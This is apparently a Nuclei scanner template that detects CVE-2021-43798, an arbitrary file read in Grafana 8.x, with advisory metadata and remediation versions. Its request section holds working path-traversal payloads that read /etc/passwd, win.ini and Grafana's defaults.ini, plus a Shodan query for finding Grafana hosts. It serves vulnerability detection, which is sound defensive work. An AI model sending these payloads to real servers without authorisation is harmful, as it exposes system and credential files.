59 lines
2.2 KiB
YAML
59 lines
2.2 KiB
YAML
id: CVE-2021-43798
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info:
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name: Grafana v8.x - Arbitrary File Read
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author: z0ne,dhiyaneshDk,j4vaovo
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severity: high
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description: Grafana versions 8.0.0-beta1 through 8.3.0 are vulnerable to a local directory traversal, allowing access to local files. The vulnerable URL path is `<grafana_host_url>/public/plugins/NAME/`, where NAME is the plugin ID for any installed plugin.
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impact: |
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An attacker can read sensitive files on the server, potentially leading to unauthorized access, data leakage, or further exploitation.
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remediation: Upgrade to patched versions 8.0.7, 8.1.8, 8.2.7, or 8.3.1.
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reference:
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- https://github.com/grafana/grafana/security/advisories/GHSA-8pjx-jj86-j47p
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- https://nosec.org/home/detail/4914.html
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- https://github.com/jas502n/Grafana-VulnTips
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- https://nvd.nist.gov/vuln/detail/CVE-2021-43798
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- http://packetstormsecurity.com/files/165198/Grafana-Arbitrary-File-Reading.html
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
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cvss-score: 7.5
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cve-id: CVE-2021-43798
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cwe-id: CWE-22
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epss-score: 0.97474
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epss-percentile: 0.99963
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cpe: cpe:2.3:a:grafana:grafana:*:*:*:*:*:*:*:*
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metadata:
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verified: "true"
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max-request: 3
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vendor: grafana
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product: grafana
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shodan-query: title:"Grafana"
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tags: cve2021,cve,packetstorm,grafana,lfi
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http:
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- method: GET
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path:
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- '{{BaseURL}}/public/plugins/alertlist/../../../../../../../../../../../../../../../../../../../etc/passwd'
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- '{{BaseURL}}/public/plugins/alertlist/../../../../../../../../../../../../../../../../../../../windows/win.ini'
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- '{{BaseURL}}/public/plugins/alertlist/../../../../../conf/defaults.ini'
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stop-at-first-match: true
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matchers-condition: and
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matchers:
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- type: word
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part: header
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words:
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- "text/plain"
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- type: regex
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regex:
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- 'root:.*:0:([0-9]+):'
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- '\/tmp\/grafana\.sock'
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- '\[(fonts|extensions|Mail|files)\]'
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condition: or
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- type: status
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status:
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- 200
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# digest: 490a00463044022022062c02971ca839d8754b63daf4d3e1c7a9a580cf5a550b6cf68cfa20e72cd1022031d8098f259825ec9cb124ba8a3a8c23c5087f5fd1a14fb9c505b36bb4544a7b:922c64590222798bb761d5b6d8e72950 |